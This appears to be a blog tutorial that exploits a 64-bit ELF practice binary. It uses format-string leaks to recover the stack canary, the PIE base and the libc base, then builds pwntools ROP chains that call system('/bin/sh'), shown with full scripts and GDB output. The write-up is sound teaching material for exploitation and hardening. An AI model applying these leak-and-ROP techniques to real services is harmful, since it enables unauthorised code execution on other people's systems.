· Manuel López Pérez · tutoriales  · 8 min read

PWN - ROP: bypass NX, ASLR, PIE and Canary

Practical write-up of a 64-bit ELF with format string and buffer overflow to leak libc/PIE/canary and build a ROP that bypasses NX, ASLR, PIE, and stack canary.

Practical write-up of a 64-bit ELF with format string and buffer overflow to leak libc/PIE/canary and build a ROP that bypasses NX, ASLR, PIE, and stack canary.

PWN - ROP: bypass NX, ASLR, PIE and CanaryIn this pwn post we are going to face a linux binary with all the active protections. In this binary we find a format string and a buffer overflow, the first will serve us to ‘leak’ the necessary addresses to bypassear the protections and the second will serve us to take control of the process.

Protections

In case you have any doubts about what each protection does, I’ll give you a brief summary:

  • NX: The NX (do not execute) bit is a technology used in CPUs that guarantees that certain memory areas (such as the stack and heap) are not executable, and others, such as the code section, cannot be written. It basically prevents us from using simpler techniques as we did in this post where we wrote a shellcode in the stack and then executed it.
  • ASLR: basically randomizes the base of the libraries (libc) so that we can’t know the memory address of functions of the libc. The ASLR avoids the technique Ret2libc and forces us to have to leak addresses of the same in order to calculate base.
  • PIE: this technique, like the ASLR, randomizes the base address but in this case it is from the binary itself. This makes it difficult for us to use gadgets or functions of the binary.
  • Canario: Normally, a random value is generated at program initialization, and inserted at the end of the high risk area where the stack overflows, at the end of the function, it is checked whether the canary value has been modified.

Analysis

The binary is a 64-bit ELF: B0f.

 $ file b0f b0f: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3cd41764dce3415f6d1f0c5d5e27edb759d0798e, not stripped

$ checksec b0f [*] '/root/B0f/b0f' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled

$ ./b0f Enter name : Iron Hello Iron Enter sentence : AAAA 

As you can see, all the protections are active. We open it with IDA and after cleaning the pseudo-C we get:

 int main(int argc, const char **argv) { char s[8];

printf("Enter name : "); fgets(s, 16, stdin); puts("Hello"); printf(s, 16); printf("Enter sentence : "); fgets(s, 256, stdin); return 0; } 

With GDB we see that after fgets the canary is checked:

 0x000000000000081a <+160>: mov rcx,QWORD PTR [rbp-0x8] 0x000000000000081e <+164>: xor rcx,QWORD PTR fs:0x28 0x0000000000000827 <+173>: je 0x82e <main+180> 0x0000000000000829 <+175>: call 0x630 <__stack_chk_fail@plt> 

Despite having all the active protections, this challenge does not seem very complex. As soon as we read the code C we see a Format String in the line printf(s, 16); and an overflow buffer in fgets(s, 256, stdin);.

The format string is only 16 bytes but can be used to bypass the canary, the PIE and the ASLR.

Leaks

As they are only 16 bytes we cannot, in a single execution, see all the possible outputs of format string so we do a fuzzer:

 #!/usr/bin/env python from pwn import *

e = ELF("./b0f")

for i in range(20): io = e.process(level="error") io.sendline("AAAA %%%d$lx" % i) io.recvline() print("%d - %s" % (i, io.recvline().strip())) io.close()

In the eighth output we see the 4 As we have introduced (0x41414141) then we could ‘overwrite’ memory addresses, outputs starting with 0x7f correspond to libc memory addresses then we can read to calculate its offset (ASLR), outputs such as 1 and 12 may be useful to calculate PIE offset and outputs 11 and 19 appear to be the canary.

LIBC Leak

Using gdb we are going to read a libc address (%2$lx) and look for the offset of that output:

 gdb-peda$ r Starting program: /root/B0f/b0f Enter name : %2$lx Hello 7ffff7fa28c0 Enter sentence : ^C Program received signal SIGINT, Interrupt.

gdb-peda$ vmmap Start End Perm Name [...] 0x00007ffff7de5000 0x00007ffff7e07000 r--p /usr/lib/x86_64-linux-gnu/libc-2.28.so [...] gdb-peda$ p/x 0x07ffff7fa28c0 - 0x00007ffff7de5000 $1 = 0x1bd8c0 

As you can see we are able to leak an address from LIBC and we will only have to subtract 0x1bd8c0 to get its base address.

0x07ffff7fa28c0 - 0x07ffff7de5000 = 0x1bd8c0

Canary Leak

To calculate if the canary corresponds with the output 11 or 19 of format string we can use gdb again. Just enter %11$lx or %19$lx and check, with breakpoint, the value of canary that is stored in RCX. If it coincides with one of the two, we will be able to read the canary easily.- Output 11:

 gdb-peda$ b * 0x000055555555481e Breakpoint 1 at 0x55555555481e gdb-peda$ r Starting program: /root/B0f/b0f Enter name : %11$lx Hello 653e968ff57a9a00 Enter sentence : A

Breakpoint 1, 0x000055555555481e in main () gdb-peda$ p $rcx $1 = 0x653e968ff57a9a00 
  • Output 19:
 gdb-peda$ r Starting program: /root/B0f/b0f Enter name : %19$lx Hello 9fc6f16c66e05032 Enter sentence : A Breakpoint 1, 0x000055555555481e in main ()

gdb-peda$ p $rcx $2 = 0xb880af3b86db6000 

Perfect! At exit 11 we get the value of the canary.

Binary Base Leak (PIE)

To be able to execute arbitrary code we will need instructions from the binary itself, being the PIE active we need to read it as well. Let’s use GDB and try with output 12:

 gdb-peda$ r Starting program: /root/B0f/b0f Enter name : %12$lx Hello 555555554830 Enter sentence : ^C Program received signal SIGINT, Interrupt.

gdb-peda$ vmmap Start End Perm Name 0x0000555555554000 0x0000555555555000 r-xp /root/B0f/b0f [...] gdb-peda$ p/x 0x0555555554830 - 0x0000555555554000 $2 = 0x830 

As you can see it has worked, now we can calculate the base of the binary at execution time. We will only have to subtract 0x830 from the output 12 of the string format.

Padding

Now let’s calculate the padding we should use to overwrite the canary and then the return address.- Canario: just set a breakpoint and check the value of the canary (RCX).

 gdb-peda$ pattern create 64 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH' gdb-peda$ r Starting program: /root/B0f/b0f Enter name : A Hello A Enter sentence : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH

Breakpoint 1, 0x000055555555481e in main () gdb-peda$ p/x $rcx $1 = 0x413b414144414128 gdb-peda$ pattern offset 0x413b414144414128 4700422384665051432 found at offset: 24 
  • Return address: when we know what the offset is to canary , we can easily calculate the distance to the return direction.

    “A”*24 + CANARY + “A”*8 + PATRÓN

 #!/usr/bin/env python from pwn import *

e = ELF('b0f') io = e.process() context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(io)

io.sendline('%11$lx') io.recvline() leak = io.recvline() canary = int(leak.strip(), 16) log.info("Canary: %s" % (hex(canary)))

payload = "A"*24 + p64(canary) + "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH"

io.sendline(payload) io.interactive()

We already know the offset to the return address, so we can control the RIP:

“A”*24 + CANARY + “A”*8 + ROP

Exploitation

With all of the above in mind we can now begin to write the exploit. The first thing is to read using the format string: %2$lx (libc), %11$lx (canary) and %12$lx (pie).. We could do it all in one run: read and execute system(‘/bin/sh’) but for the string format we only have 16 bytes.

len(“%2$lx-%11$lx-%12$lx”) = 19

But this is not a bit of a problem, it is solved by calling main after the first leak.. The exploit stays that way:

- Leak 1: PIE and Canario - Payload 1: “A “*24 + Canary + “A “*8 + main() - Leak 2: LIBC - Payload 2: “A “*24 + Canary + “A “*8 + system(“/bin/sh”)

Being in a system of 64 bits, the way to call to pass arguments to the functions (system in this case) is with the register RDI. We need: Gadget POP RDI + ARG_1 + FUNCTION

 $ ROPgadget --binary b0f | grep "pop rdi" 0x0000000000000893 : pop rdi ; ret 
#!/usr/bin/env python
from pwn
import *
e = ELF('b0f')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',
checksec=False)
io = e.process() # context.terminal = ['tmux', 'splitw', '-h'] # gdb.attach(io)
io.sendline('%12$lx-%11$lx') # PIE & CANARY io.recvline()
leak = io.recvline()
pie = int(leak.strip().split('-')[0], 16) - 0x830 # 0x2139260
canary = int(leak.strip().split('-')[1], 16) log.info("Pie: %s" % hex(pie)) log.info("Canary: %s" % hex(canary))
payload = flat( "A"*24, canary, "A"*8, pie + e.sym['main'],
endianness = 'little',
word_size = 64,
sign = False) io.sendline(payload)
io.sendline('%2$lx') # libc io.recvline()
leak = io.recvline() libc.address = int(leak.strip(), 16) - 0x1bd8c0 log.info("Libc: %s" % hex(libc.address))
payload = flat( "A"*24, canary, "A"*8, pie + 0x0893, # 0x0000000000000893 : pop rdi ; ret next(libc.search('/bin/sh')), libc.sym['system'],
endianness = 'little',
word_size = 64,
sign = False) io.sendline(payload) io.interactive()

*We don’t have to use the PIE Leak, we can use a pop rdi; ret gadget from LIBC.

 #!/usr/bin/env python from pwn import *

e = ELF('b0f') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) io = e.process()

io.sendline('%2$lx-%11$lx') io.recvline() leak = io.recvline() libc.address = int(leak.strip().split('-')[0], 16) - 0x1bd8c0 canary = int(leak.strip().split('-')[1], 16)

log.info("Libc: %s" % hex(libc.address)) log.info("Canary: %s" % hex(canary))

payload = flat( "A"*24, canary, "A"*8, libc.address + 0x0000000000023a5f, # pop rdi ; ret next(libc.search('/bin/sh')), libc.sym['system'], endianness = 'little', word_size = 64, sign = False)

io.sendline(payload) io.interactive()
Back to Blog

Related Posts

View All Posts »
PWN - ROP: bypass NX, ASLR, PIE y Canary

PWN - ROP: bypass NX, ASLR, PIE y Canary

Write-up práctico de un ELF 64-bit con format string y buffer overflow para filtrar (leaks) de libc/PIE/canary y construir un ROP que bypassa NX, ASLR, PIE y stack canary.